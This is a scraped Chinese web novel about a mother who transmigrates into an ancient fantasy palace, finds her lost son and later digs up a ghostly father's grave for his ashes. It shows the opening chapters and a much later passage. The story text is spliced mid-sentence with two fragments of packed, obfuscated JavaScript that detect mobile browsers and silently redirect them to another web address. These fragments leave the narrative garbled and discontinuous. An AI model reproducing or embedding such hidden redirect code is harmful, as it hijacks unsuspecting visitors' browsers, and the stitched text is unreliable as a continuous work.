《谁让我心甘情愿嫁去古代?》 1. 第 1 章 《谁让我心甘情愿嫁去古代?》全本免费阅读 大殿上燃着浓重的熏香,上百人跪着鸦雀无声,只有司礼官浑厚的嗓音在穹顶下泛着回响。 一片肃穆的气氛中,栖真跟着人群磕头,起身时透过前方重重人影,终于看清殿上供奉的牌位——大容文孝贤忠良皇后英氏。 皇后…英氏? 所以此时此地,举行的是一位皇后的葬礼? 栖真微微蹙眉,心底浮上诧异。 如果这里举行的是一位皇后的葬礼,这满大殿的人为什么不穿孝服?殿中也没有半条丧事用的白幡,反而悬着成片的红灯笼,照着四壁的金丝玉帛,瞧上去一片喜庆。 趁司礼官宣读铭文的间歇,栖真收回心思,又漠然地垂下眼睛。 这一切,与她又有什么关系? 小包子死了…… 她的宝贝儿子像一抽条破土而出、充满生命力的嫩草,在跨进小学一年级的当口——没了。 从家中阳台坠落时,她没能拉住他,和他一起坠了楼。睁开眼,她就发现自己身处一个全然陌生的世界。 如今过了两天还是三天,谁知道呢,她整日浑浑噩噩的,一开始只是躺着,后来有人领她来大殿她就来,要她跪她就跪。 殿内熏香的味道让人恶心,栖真跪着跪着,只觉眼前阵阵发黑。 她恍恍惚惚地想起来,那一摔,只怕小包子没有生还可能,如今他尸身未寒,在现代又有谁能为他操办后事? 可笑的是,他唯一的亲人,她这个母亲,此刻却跪在一群陌生人中间拜着一个陌生人,置身一场和自己全然无关的葬礼。 丧子之痛痛煞人心,她麻木至今,脑中闪过这个念头,才像镐锤凿了冰窖,失声痛哭起来。 哭声在寂静大殿中显得尤其突兀,惹前后跪众转头看来,惊讶的目光钉她身上。 “无礼!” 堂前金声玉振,有人回头厉斥:“谁灵前失仪?给寡人拖下去!” 两名侍从穿过人群,将栖真众目睽睽架出大殿,押到殿外长跪。 栖真捂脸悲泣,沉浸在悲痛中不能自已,直到现在才为儿子哭丧一场,已是大大的罪过,她哪里还管此刻身在何地。 她哭了许久才止住眼泪。这时殿内大礼结束,众人陆续步出,各自散去。 栖真没管走出大殿的人投到她身上诸多异样的眼神,只管看着身前地砖,放空思绪。 直到一道温和男声来到近前,低声唤她:“沈部像。” 阴影照面,栖真不抬头也不理人。 这里的人她一个都不认识,也无心搭理。 男人见她不应,站去稍远处吩咐:“抬步撵,去萤蕊宫,唤沈部像贴身宫女来。” 声音带着上位者的矜贵,语调和缓,若清清涓流润过玉石。 待宫人得令离去,殿前暂无闲人,就听那道温润的男声再次响起:“从来国丧都是喜庆事,娘娘升天是去侍奉神明,沈部像这般惊天动地一哭,大庭广众下不合时宜。” 喜庆事? 神明? 栖真终于抬起眼皮,瞥向几步开外高挑的背影。 男子正冠凛然,穿着金玉色袍服背她而立,话不轻不响,恰恰让她听到。 “今日陛下罚你一跪,跪罢就算,无需上心。待会儿步撵来,早早回萤蕊宫吧。” 话语含着关切,有劝她释怀之意。 栖真举袖擦去脸上泪痕,任殿前空旷处悄无声息。 男人好似一直在关注背后动静,等不到回应便不再开口,举目望向天际霞影。 稍时步撵来,他款步走下台阶,命人将栖真扶上步撵,带仪仗随步撵离开殿前,转入长长宫道。 哀莫大于心死,随便任人摆弄,栖真坐在撵上,不知道自己要被送去哪里。 随便吧……这硬塞给她的古人世界,这莫名依附的身体!如果时间可以倒回,她一定死命拉住小包子,那么这样荒谬绝伦又无从解释的事,就不会发生了吧。 天色将暮,透过宫墙漏窗,栖真盯着夕阳落处,仿佛那是她生命中即将湮灭的光。 这时对面宫道上,金乌西沉的光亮处,迎面走来一队人。 几个宫人在前执杖,身后队列整齐,跟着数十个身穿大红吉服的小孩。 透过漏窗,瞥见那群走近的孩子,栖真瞳孔顿缩,死寂的心脏再次砰砰跳起。 是她眼花吗? 不可能! 就算认错全世界的人,她都不可能认不出自己的儿子。 对七岁孩子而言偏高的身形,竖直的发茬,一张白净的小圆脸,高眉骨下顺挺的鼻梁……那分明是小包子! “停下,快停下!” 来不及去想为什么小包子也在这里,也来不及去想孩子为何毫发无伤,栖真猛然起身,在周围惊呼声中狼狈摔下步撵,爬起来踉跄扑到窗前。 对面领头宫人瞅来一眼,没被宫墙这头的异样阻下脚步。身后长队也丝毫未乱,一队孩子木知木觉,听不见声响似地沉默跟随。 栖真扒着漏窗探看,队伍经过时,孩子颈部一道缝针后的淡疤映入眼帘。 那是小包子去年和人打架时留下的疤痕,缝了五针。所以面前这个,千真万确是她儿子! 追着漏窗驱步向前,栖真疯了般地呼喊,可饶是她手伸得再长,再声嘶力竭,都没成功挡下队伍。 这时身侧降下一道白光,屏障般堵住她的去路,背后再次响起严肃的男声:“今日两次失仪,还请沈部像见谅。” 转眼间,栖真只觉眼前白芒,身子一软失去了意识。 仪仗再次上路,看着重新被扶上撵的沈兰珍,洛尘皱眉,现出头痛的神情。 从大殿一路陪她过来,这姑娘居然没发现随行人数众多,早已超过九部相的仪制,更是一眼没瞧过他。 太反常了! 这小女子现下又在发什么疯? 示意沈兰珍的贴身宫女蓝心近前,洛尘边走边问:“沈部像这样多久了?” 蓝心敛目回禀,语气恭敬:“娘娘殡天后第二日,沈部像接完圣旨回萤蕊宫,摔跤磕了头,醒来就直瞪瞪躺着。太医说怕是…撞坏脑子,癔症了。” 洛尘转过半边脸,浓眉微拧:“不可乱言。” “是。”蓝心暗自哆嗦:“奴婢只是担心沈部像这个样子,两日后怎么去皇陵暖宫。” 到了莹蕊宫门口,洛尘目送沈兰珍被抬进去,低声嘱咐蓝心几句,才带仪仗往北去。 待一行人走远,迎出来的小宫女在蓝心身边声如蚊蝇:“怎么是神官长大人…送沈部像回来的?” 皇族丧仪,宫里最累的是大神官,其次便是大神官座下这位年轻的神官长,听说忙了三天三夜才出大殿。 蓝心瞥她一眼,隐隐警告之意:“洛尘神官原本就要回神宫,送姑娘回来只是顺路罢了。” ………… 栖真睁眼,对鹅黄色床顶迷茫了一瞬,活过来似的,下床就要往外冲。 边上的蓝心惊醒,赶紧拉住她:“我的好姑娘唉,半夜三更做什么?” 跌回床上,栖真心中涌出灭顶的狂喜。 她不可能看错。 小包子还活着!活着!活着! 缺失的理智如浪潮翻涌,将她洗刷一遍。转头,终于发现身边还有这么号人,一把抓住问:“那群小孩要去哪里?” 主子失常三日,开口居然问件不相干的事,但看她双目灼灼,眼神不同以往,蓝心忙道:“下午那队人?祭童吧,送塔里去的。” “什么塔?” “山上那座啊。” “哪座山?” 蓝心闻言,面上出现奇怪的神情,栖真恍然回神。 怎么忘了! 这可不是她原本的世界。 如今顶着别人身体,落在陌生环境,万事还需小心。 她得缓下节奏,平复下心绪。 “有水吗?好渴。” 趁人出去倒水,栖真趁机打量四周。 这是个左右两进的套间,卧房还没她在现代的卧室大,但雕龙画凤的梁柱衬着古色古香的家具,瞧上去精工奢华,规制不低,应该不是给下人住的那种。 落地 2. 第 2 章 《谁让我心甘情愿嫁去古代?》全本免费阅读 不管此地如何光怪陆离,栖真现在只关心一件事——小包子被送到什么山里去了。 昨晚蓝心提到“山里”,好像世上只有一座山,提起它,旁人就不会错认成另一座。 用完膳,走出宫,栖真发现这的确是不用解释的。 那山镇在正北方向,形如抱臂,像一尊俯瞰宫城的守护神。 栖真指着那处问:“离这儿多远?” “就在宫里。” 蓝心看了看她,软声劝道:“姑娘别再做出格事了,皇崖山关乎大容根本,山道布了封印,除皇族中人上不去的。” 栖真举目,见山顶有座飞檐翘角的大塔,塔身泛着金光,一道宽阔光带自塔顶喷薄而出,在云霄四散,形成保护罩般辐射四野的波光层,也不知道边界落在哪里。 莫非这就是蓝心提到的“结界”? 现在赶去皇崖山不一定救得了小包子,但她必须要趁白天探个路,于是栖真借口透气,让蓝心带路,紧盯皇崖山一路向北。 一路上,入眼的景象让栖真不太确定,低声问身边的蓝心:“昨天…宫里大丧?” 一晚下来,蓝心也算摸清自家主子“记不起”到什么程度,点头道:“中宫大礼。” 栖真之所以要再次确认,只因这一路行去,也是处处红笼,漫天金绸,阖宫透着无边喜庆,实在挑战她的认知。 她很确定,中国历史上没有叫大容的国家,而此地皇后丧仪活像大婚,不承袭任何朝代习俗,对她来说就是全新世界,不能代之以对中国历史上惯常的认知。 路上遇见宫女和侍从驻足行礼,口称“沈部像万安”,栖真开始还局促地避着人,后来也知道对他们点一点头。 直到蓝心附耳:“姑娘不用理会他们,平时一个个的给脸色,知道姑娘被选中去暖宫,行礼都勤快了。” 给脸色?什么意思?沈兰珍在宫中好歹也是有点身份的九部像,这些下人为什么要给她脸色看? 栖真不明白,但此刻还有让她更在意的事,刚才闻言,她就是一个激灵:“暖宫?” 蓝心自要为她解释:“两日前圣上下旨,让您后日启程去皇陵为皇后娘娘暖宫啊。” 栖真心里一惊,语气勉强:“能不去吗?” 蓝心抿唇笑起来:“圣上亲旨怎能不去,这可是别人求不来的殊荣呢!” 栖真袖下指甲掐进皮肉:“要去几天?” “不好说,快的话一两日。” 慢的话呢? 栖真只觉肾上腺素一阵翻搅,这个节骨眼上,她怎能离宫? 而暖宫……是要她洒扫皇陵、迎接皇后入陵的意思吗? 蓝心见问,眼神有些躲闪:“皇后娘娘凡胎仙去,神识并没消散,是去伺候神明了呢,神明满意才能保我大容长治久安。姑娘不用担心,有洛尘神官陪您同去,一定妥妥当当的。” 栖真冷着脸不知道说什么好,最终只好无力地嗯了一声。 结界、神明、封印,还有昨日落在面前的光幕……这个古人世界有太多无法用科学解释的东西,纵使职业关系,接受这些概念对栖真而言毫无压力,可当概念变为现实,到底是有些让人头疼的。 思绪游离半晌,她才指着又一拨打身后来、抬祭品往北去的宫人问:“这些都是送往皇崖山的吗?” 蓝心道:“娘娘遗体在皇崖塔等候炼化,大神官镇守山下护神大殿,东西该是往那儿送的。” 原来山下还有一座护神大殿,栖真默默记下。 心里打着鼓,好在穿园过门,一路畅通,栖真只觉万幸,直到蓝心问:“离烟冷炉香园不远了呢,姑娘想去园里?” 见她不搭腔,便好言相劝:“皇后娘娘爱吃那里结的白果,以前都姑娘采来的,现下还是别去了,睹物思人呢。” “没事,去看看。” 烟冷炉香园内是遮天蔽日的冷杉林,中间一条大道通往深处,整个园子覆在大山阴影下,雄浑中透着森凉。 皇崖山近在咫尺了。 杉林尽头,一堵宫墙拔地而起,门口列着侍从。 栖真直接往那边去,蓝心却扯了她衣袖往林间带,指着宫墙外几排树道:“看,半季不来没白果了。” 蓝心数次撇头往宫门那边望,压低声音说:“哪敢往那儿去啊,过了那道门便是神宫了。” 林中阒静无人,栖真围着树转了转:“以前给娘娘的白果,我亲手采的?” 得到蓝心肯定的回答,栖真放心了,利索地脱下碍事的长袍,顺树干往上爬。 看得蓝心瞠目结舌……是你亲手用长杆打的好吧,你可从没爬过树喂! 沈兰珍想必娇生惯养,身体不如栖真本体灵活,让她废了点力气才爬上几米高的树杈。 抱着树干,眺望宫墙另头。墙内压迫性的山影里,果然伫立着一座气势磅礴的石质宫殿,宫殿四周散发着若隐若现的红光,像缥缈的极光。 栖真惊讶,莫非这也是什么结界? ………… 洛尘走在冷杉道上一偏头,就见墨绿树杈间一抹黄。 离得远,只看到一个背影,还是让他缓下脚步。 穿过宫门,让随伺的人退下,洛尘入护神大殿看了看,又回出来问门口值守的小神官,才知师父前脚刚走。 他在阶前站了一会儿才往墙角踱去,扬首问:“沈部像何故在此?” 栖真早见宫里回来人,没想到对方居然注意到墙外有人,还过来招呼,便极快地打量他一眼。 男人瞧着也就二十出头的样子,头戴玉冠,高领敛衽,一身金色的精绣长袍,正仰着一张比珠玉更俊的脸看着她。 阳光下,眉眼如山黛,鼻挺若峰脊,明明是有些严正的长相,眼神却柔和,比一路见到的人都正点。 栖真张了张口,没出声,就觉得这声音好像昨天听过的,不就是那个殿前缓声宽慰,一回头说声“见谅”,就把她弄晕的“法术高手”吗? 视线与之一触,栖真心头倏忽浮起警觉。 这人,只怕不是个易糊弄的角色! 洛尘见树上人不搭腔,微微一笑,递话道:“想娘娘了,来祭拜吗?” 栖真顺势点头。 洛尘眼底光华流转,自然相邀:“即为缅怀,不用爬树,进来为娘娘上柱香吧。” 栖真求之不得,顺溜下树,气声问:“这谁?” 蓝心很有些紧张,赶紧帮她穿好长袍,蚊声回:“神官长。” 对方已去宫门口等候。蓝心率先对洛尘行礼,口称殿下,栖真现学现卖也行了个礼。 洛尘额首,并不多言,径直带她们进护神大殿。 跨进殿门,栖真只觉眼前一亮。 好大啊! 这殿云顶高粱,下由纵向两排金色巨柱支撑,气派比之故宫太和殿不遑多让。 可如此巨大的空间,内里却空空如也,由得殿尾那块醒目的黑色巨石,一眼撞进步入者的眼帘。 黑石足有五六人高,走近瞧,会发现石头是不着地的,稳稳浮在空中。石头表面光滑平整,质地里透出点点星光,颇有镇殿之宝的气势,却不知派什么用。 洛尘点香递给蓝心,栖真接过,给巨石前供桌上的皇后牌位上香。 怕举止不当,她硬着头皮,学昨日大殿上的跪拜方式,端端正正拜上三拜。 上完香打量四堂,见高顶圆梁下,右侧墙上刻着连壁的精致浮雕,左侧墙上则挂着不少装裱严谨的人物画像。 自从进了大殿,洛尘的视线便若有若无地围着栖真转,见她四处打量,便道:“看看无妨。” 栖真道谢,从右侧石壁看起,匆匆扫了一眼。 浮雕上有龙有人,画面充实,内容相连,她怕在男人面前露出懵懂,此刻并不细看。 又到左侧观画。 瞧那些画中人的衣饰,想必是大容历朝历代贵重之人,看着看着,栖真在其中一幅画前驻足,淡眉蹙起。 “这是已故的三皇子,六岁薨逝,彼时沈部像还未进宫。”身后默默作陪的洛尘适时开口。 关于这位当朝三皇子,栖真却是知道的。 昨晚问过蓝心大容皇族的情况,当时她还觉得奇葩,因为在她印象里,中国历史上很少有像大容这般没有乱七八糟后宫的皇室。 大容历朝仅一帝一后,本朝帝后共育三子,大皇子早年入了神宫,不算皇室中人了;三皇子六岁因病薨逝;至于二皇子,就是现在的大容太子……照蓝心说法,不提也罢。 原来这一幅画中的孩子,就是蓝心说过的不在了的三皇子。 画像上,是一个和小包子年龄相近的小孩。 栖真盯着那个孩子的长相,越看越心惊,她深吸口气又缓缓吐出,尽量让自己看上去无甚异样。 至此,她也算转过弯来。 只怕身后这位作陪的神官长大人,就是早年入了神宫的皇长子,难怪画上孩子的眉眼和他有几分相像。 这位洛尘神官身为神宫中人,又为皇室,不正是可以名正言顺上山进塔之人? 一番琢磨只在电光火石间,栖真转身,试探着问:“昨日见到的那些祭童,好像有一个……和三皇子长得有点像。” 昨日沈兰珍在宫道上追着祭童,状似疯癫,洛尘早已封锁此事不可外传,此时听她提及,略沉吟问:“沈部像觉得里面哪一个,长得像三皇子?” 不知有意还是无意,这话问得有些技巧,细想让人不易作答。 她若不知三皇子模样,昨日又怎会觉得队里有人长得像? 栖真脑中警铃大作,意识到自己造次。 这个话题引申下去漏洞百出,她临时起意,根本来不及细想如何自圆其说,只好仓惶地垂眼道:“这几日恍恍惚惚的,脑里总有个穿大红吉服的孩子在叫唤,问我他要被带到哪里去,我又哪里说得出来呢?” 面前一时无声,栖真顿了顿,偏头望去:“那些祭童现在哪里,殿下知道吗?” 这小女子向来颔首低眉,温驯得很,在他面前何曾有过这般勾人的眼神。洛尘把目光从栖真脸上移开,说:“祭童现下都在塔里陪伴母后炼化,需七七四十九日才能完成。” 栖真往前半步问:“既然称为祭童,是要行献祭的事吗?” “祭童乃童子之身,纯阳之体,真气充沛,悠远绵长,可大大加速母后神识炼化。”靠得有些近了,洛尘不得不迎上面前殷切的目光:“前提是,祭童身不可伤,气不可竭,否则母后神识炼化完成,也会被神明所弃。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864691|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内直径两米多,高度也差不多这个量,进去后可以容她站直。 栖真举铲子开挖,谁知一铲子下去,脑袋像受到撞击,一种奇异的嗡鸣从地底传出,直直撞入她的脑海。 她看见黄土层在手电光的照射下开始微微松动,眼睛被土层下射出的蓝光刺激到,她下意识闭眼,整个身体被一股强力猛地怼到墙上。 栖真忍痛睁开条眼缝,就见一个男人蓝幽幽的虚影,近在咫尺。 像鬼一样。 不,不是像! 是真见鬼了! 栖真一口气卡着上不来,吓晕过去。 ………… 也不知晕了多久,睁眼时,发现自己还躺在坟包里。 平躺。 男人就盘腿坐在她面前,手肘杵着膝侧,支着头,直直对着她瞧。见她醒来,笑着说了一句:“别又晕了。” 想象照进现实,终于知道那双眼笑起来是什么样子。栖真爬起来,吓到贴墙,确认道:“……雷……恒?” 蓝色的虚影好像比她晕前具象一些,男人的轮廓也更明显,但面前毕竟只是一道透明的影子,不是真正的大活人,栖真颤巍巍地、不能免俗地加了一句:“你……是人是鬼啊?” 雷恒伸手过来,动作像刻意放慢速度,给对方接受的时间,见栖真没有反抗,才用手抚上她的脸。 栖真盯着男人的手,手掌很大,蓝色荧光下纹理清晰。她眼睁睁见它贴上来,脸侧却没有任何肢体上的触感。 “别怕,我是雷恒留下的最后一抹魂魄,不会伤害你。” 雷恒,1989年11月23日生,畲族,187,76kg。 栖真想起曾经看过的资料,不是她在这种时候还能走神,而是她知道的与雷恒相关的信息真得不多。面前男子白衬衫、黑长裤,衬衫解着两粒扣子,领口敞开,两只袖口卷到肘上——打扮和上班族没什么区别,身材却是真彪悍,胸肌发达,手臂结实,长相也很…… 雷恒问:“看傻了?” 栖真视线扫过他颈口露出的一点点黑色文身,好像是什么藤蔓的花纹,艰难道:“……和照片上很不一样。” 雷恒:“更帅?” “更像黑/帮老大……” “有眼力。”雷恒笑起来有些凶悍:“我就是!” “不是岛主吗?”栖真惊愕地问。 “岛主就不能是□□了?”雷恒眉峰凛冽,挑起来有种痞气,不像正经人。 栖真呆呆地看着他……挖坟挖到鬼、岛主变□□、英气的眉眼彻底幻灭……一时间脑袋晕晕乎乎,不知该对哪件事更有反应。 这傻鸟表情取悦了雷恒,他一手撑住栖真背后的石砖,猛地靠近,鼻尖离她只有一厘米,恶声恶气地说:“再发呆,吻你啦!” “……吻得到吗?”栖真愣忡地问。 雷恒大笑,手从她脸上往下滑,一路划过她胸口,落在栖真腹部揉了揉。虽然没有真实的触感,但他气场慑人,凝视她的时候就像雄狮盯着猎物。栖真浑身僵硬,不敢动弹,被他不规矩的手“搓弄”得鸡皮疙瘩飞起。 在她终于意识到自己明明可以躲避的时候,雷恒视线终于从她腹部回上来,对上她的眼,低声道:“吻不到又怎样,儿子都生了。” “……” “你…认识我?”理智终于探头,她一直以为自己对雷恒来说就是陌生人,如今看来并非如此。 难道医院会将母亲的信息透漏给捐精者? 不可能吧! 不至于吧! 雷恒退开,又是那个混不吝的盘腿坐姿,回了一句:“你查我,我自然也能查你。” 查……他知道她查过他? 栖真突然蹦起来,绕过雷恒去够地上的手机,打开一看,19:46! 这一晕,她足足晕了二十分钟? 那这魂……这人足足看了她二十分钟? 没时间了! 130. 第 130 章 现在不是纠结为什么雷恒魂魄会出现,把一起荒野盗墓事件硬生生搞出聊斋风的时候,可真地让她当着人家面挖…… 太变态了! 下不去手啊! 可是不挖,她又拿什么回去救风宿恒? 好不容易来一次,不能这样功亏一篑。 人被逼到极限,恐惧和尴尬都能抛到脑后。栖真双手合十,对雷恒穷拜:“雷岛主……雷大哥……对不起你,万分对不起,没时间了,再大逆不道我都得动手。” 雷恒看向她还戴着手套的手。 栖真忙将手套摘下,塞进冲锋衣的口袋里,继续拜。 雷恒哦了一声,云淡风轻地问:“动什么手?” 栖真:“挖……挖……” 雷恒:“挖我的坟?” 栖真:“对不起对不起对不起对不起……” 雷恒倒没什么意外表情,只是问:“挖我坟做什么?” 栖真实话实说:“取您的骨灰……救一个人。” 雷恒挑起左眉,他眉毛很浓,挑起时特别痞,和电影里□□老大没区别,“什么人?” “您的前世。” 对“前世”两字,雷恒没表现出多大异议。大概鬼魂总是更能接受怪力乱神。他只是眉毛挑得更深,问:“男人?” 您的前世难道会是女人?栖真不知作何表情地看着他。 雷恒确认道:“一个你爱的男人?” 栖真对上他的眼:“对,我爱的男人。” 坟包里空气瞬间凝滞,雷恒沉下脸,痞气从身上消失,整个人从不正经切换到超正经。 看上去就更凶了。 雷恒一字一顿地说:“挖我的坟,取我的骨灰,为了救你的男人?” 栖真……… 他盯着她,补充一句:“你儿子还是我的种。” 栖真……… 对话进行得很艰涩,但再艰涩她也得继续:“对不起,即便我们没那层关系,我挖谁的坟都不应该,但是……您会不会攻击法术?” “攻击法术?”雷恒没跟上她的趟。 “我是说,您现在真的只是一缕魂魄?会不会打人?会不会法术、巫术或妖术,有没有攻击性?”栖真问。 “我不会伤害你。”雷恒被她问得有点愣:“我只是一缕魂魄,你别怕。” 这是雷恒第二次叫她别怕,他不想看见栖真对他露出哪怕一点点畏惧的表情。 栖真一抱拳:“得罪了!” 说完拿起铲子,继续挖。 雷恒……??? 不想你怕我,也没想你这么放肆哎! 敢情是不想跟我废话,反正没有攻击性,就当面挖我的坟,看我能把你怎么样是吗? 操,见过嚣张的,没见过这么嚣张的! 雷恒有点生气。 可他觉得栖真奋不顾身挖坟的样子,很……迷人。 越迷人,他就越生气。 雷恒:“别挖了,你要的东西在这里。” 栖真一抬头,就见雷恒举着一个小陶瓶,陶瓶颈口系着一根黑绳,黑绳还套在雷恒脖子上,应该是刚从衬衫里掏出来的。 “你的骨灰?”栖真问。 “我的骨灰。”雷恒道:“不在地里,在这里。” 骨灰为什么不埋在地里,而在脖间挂着?难道雷恒留下一缕魂魄就为了护着自己的骨灰?那他现在掏出来又是什么意思? 栖真脑海里冒出一串疑问,但她斩钉截铁地说:“我不相信!骨灰是实体,你不是,你脖子上挂着的东西自然也不是,所以这里面不可能是你的骨灰。” 雷恒气笑:“骗你做什么,真的是我的骨灰。” 栖真伸手:“放我手上。能放,我就信。” 雷恒憋不住哈哈笑:“当我三岁小孩?放手上,你就拿走了。” 栖真看了他三秒,忽然从洞口钻出坟包,把手里的铲子和关上的手电塞进登山包,之前扔在地上的锤子也塞进去。 想起来,自己是戴着口罩进去的,怎么现在没戴了?回头一看,掉在坟包地上。 “干嘛?”雷恒见栖真回头,问:“整理东西做什么?” “你不给我,我就走了。”栖真回身进去捡口罩。 手电虽然关了,雷恒身上灵光仍盛,足以让他们看清彼此。雷恒这次连声音都沉下来:“你砸我的坟,惊扰我的安息,不就为了这点骨灰?现在两手空空走人,不救你的心上人了?” 栖真捡起口罩,拍了拍上面的土,镇定道:“你给,我就救;你不给,我不救了。” 说着转身出坟包,将口罩塞进侧边袋,背对坟包冷声问:“给,还是不给?” 妈的! 遇见高手了! 这是料准他真不想给,就根本不会拿出来;既然拿出来,就是有给的可能性。判断出这点她就强势起来,把一切花里胡哨你来我往的拉扯全撕掉,做出要走的威胁,直接让你给结论。 是时间紧迫下常用的谈判技巧。 前提是,她赌他愿意给。 栖真赌错了吗? 不,她没有赌错! 雷恒无可奈何地笑起来,开始只是咧嘴,继而笑意扩大,怎么都忍不住,笑出声。 这女人,真是一如既往让他头疼。 “进来。”雷恒道。 栖真转身回坟包,天知道她手心里全是汗。 雷恒站在栖真面前,专注地看着她,脸上没什么表情,但他慢慢低下头,没有实体的唇贴上栖真的唇瓣,就这么贴了一会儿才直身,从脖间取下挂绳,放在栖真手里。 那陶瓶一落到栖真手上就变成了实体,手掌大的瓶,有分量。 “拿回去救人。”雷恒道。 声音和之前不同,蕴着一丝温柔。 栖真把绳子挂到自己脖子上,眼里涌上一股热意,为终于完成任务,也为雷恒的慷慨。她握住瓶子不敢放手,抬眼看雷恒。 “谢谢你。” 很郑重地道谢。 栖真掏出手机看了一眼,20:03了。 还有二十分钟。 还能说二十分钟的话。 他们在坟包里面对面坐下,栖真问:“为什么愿意把骨灰给我?” “最没用的就是骨灰,能拿去救人也不错。”雷恒说这话时有点吊儿郎当,继而又道:“胆子真大啊你!受过高等教育的城里人,有地位的社会精英,敢来掘坟!” 栖真:“你好像很了解我?你一开始就知道……孩子的事吗?” “一直都知道。”雷恒道。 也一直在看着你。 但后半句没有吐出口,他只是凝视面前人,眼神越发温柔。 栖真尬笑:“医院的保密工作有疏漏啊。” 雷恒没有继续这个话题,而是问:“所以,你确实遇到危险,回到了古代?” “你怎么知道我回到了古代?”栖真问。 “你刚才提到前世。” “哦对。”栖真道:“小包子……我是说栖凡心,你儿子,从天台上掉下去,我没抓住他,也从天台上摔下去,醒来就在古代了。穿越…那种小说里的情节,就这么发生了。” “现实高于小说。”听到“天台上掉下去”几个字,雷恒眉头紧紧皱起,又凶巴巴地像个□□大佬。 栖真忙说:“凡心没事。他也跟我一起到了那个世界,我会保护好他。” 雷恒抱臂,神情严肃地盯着栖真,过会儿说了一句:“先保护好自己。” “会的。”栖真点头:“我们在那儿遇到很多匪夷所思的事,但一切平安,现在凡心十三岁了,可帅了,脑瓜又好使,正在山上修……呃,参加补习班。” 雷恒:“古代还有补习班?” “法术补习班。”栖真笑。 什么鬼?雷恒不管这些,只是道:“说说他,你喜欢的那个人。” 一提到风宿恒,栖真声音就柔下来,嘴角噙着笑:“他是个很好的人,像个超人,救过我很多次。有时也很可恶,就是……就是那种一百样对你好,一百样不说出来的可恶。” “你这花痴的!”雷恒觉得栖真脸上温柔的表情好扎眼,他板起脸,语气不善,和说出来的话全不相符:“对你好就行,在一起就好,要求别那么高!” 栖真低头:“还…没在一起。” “没在一起,你为他撬我的坟?”雷恒气得差点跳起来,眼神又凶又哀怨,“敢情老子的骨灰是你们感情的催化剂?回去救了人,你情我愿的,就在一起了?” 栖真苦笑,这个真的一时半会儿说不清:“随缘吧。” 她转移话题:“能弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883018|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个魂魄守墓,说明你也不是普通人,你知不知道自己有前世?” “我哪知道?”雷恒还在气,粗声粗气:“你知道自己前世是谁?” “不是很奇怪吗?”栖真说:“我用了你的那个生了儿子,穿越回去遇见你的前世,现在为了救你的前世又回来找你,你不觉得很神奇?不可能是巧合吧?” “冥冥中自有天意。”雷恒笃定。 这话有点耳熟,好像风宿恒也说过。栖真追问:“可是……你知不知道原因?” 世上没有那么多巧合!雷恒哼了一声,直视栖真,语气像盖章:“我只知道不管哪世,你都是老子的人!” 栖真哭笑不得:“这一世就不是。” 她说的是事实,但不知戳中雷恒哪个点,让他情绪肉眼可见地颓下来,可他还是强调:“有儿子也算,还是老子的人。” 栖真就差当着他面翻白眼,有点受不了,也凶巴巴:“那你活着不来找我?” 雷恒嘿嘿笑,硬生生笑出傻大个的感觉,“死了见,也挺浪漫。” “你怎么就……”栖真问:“生病,还是意外?” “肺癌。”雷恒道。 栖真心下不是不惋惜:“烟抽多了吧?” 雷恒道:“空气不好。” “哪空气不好?” “哪儿哪儿都不好。” 栖真问:“这病……不遗传吧?” “着急儿子啊?”雷恒道:“古代空气不比现代好?担心个毛。” 栖真想了想,也是。 雷恒问:“你怎么回去?” “会开一道时空门,穿回去。”栖真道。 “这次回去,不回来了吧?”雷恒问。 栖真基本可以确定:“应该是。” 雷恒:“嗯。” 他双掌在膝盖上搓了搓,拉家常般道:“在哪里不是过!让自己开开心心、平平安安就行。”又看着栖真笑:“我这么能耐,前世肯定也不差,有他照顾你我也放心。” “你呢?”栖真问:“我走以后,你回地下,还是……” 这么问有点怪,但她不知怎么措辞才能表达那个意思。 雷恒朝她抬了抬下巴:“我都在你脖子上挂着了。” 栖真道:“我是说你,你。” “孤魂而已,从哪里来回哪里去。”雷恒浑不在意。 栖真看了眼坟包上的洞:“把你家砸了,我是不是得……” “别管了。”雷恒挥手:“砸就砸了,明日头条而已,会有人补。” 栖真又双手合十对他拜了拜:“实在抱歉,对不起对不起对不起!” 雷恒示意她手机:“还剩多少时间?” 栖真按亮屏幕:“三分钟。” 雷恒:“别用在道歉上。” 栖真:“好。” 她以为男人还有话要说,安静下来,但雷恒也静下来,目不转睛看着她——不是脑子里转着说什么好的那种沉默,而是光光看着她,就是他想说的一切。 刚才他给骨灰时明明吻过她,但那时栖真心里紧张极了,眼睛只盯着骨灰,吻下来她都没有感觉,只觉得雷恒的动作不像表达情绪,更像一种仪式。 但现在不一样。 现在他眼里分明有强烈的情绪,栖真以前是不懂的,在风宿恒身边开了窍,那眼神她就懂了。 有些缘分说深不深、说浅不浅。如果他没有离开这个世界,如果她也没有离开这个世界…… 四目相对三分钟并不容易,谁试谁知道,但这一刻,没人移开眼。 最终还是雷恒先站起来,送栖真出去,看她背上包。 20:22了,他站在坟里,陪她等门开,心里一秒、两秒、三秒……地数。 20:23……蓝色的时光之门在黑暗的路边如期打开。 栖真回头:“我走了。” 雷恒额首,柔声道:“平安喜乐。” 栖真却看着时空之门一动不动,不知在等什么,低喃道:“奇怪……” 可她没有再说下去,侧身对雷恒挥了挥手,径直朝时空之门跑去。 夜色里,背着大包的身影离雷恒的视界越来越远,他真想手边有支烟啊!烟雾可以冲淡心头的惆怅,迷糊泛红的眼。 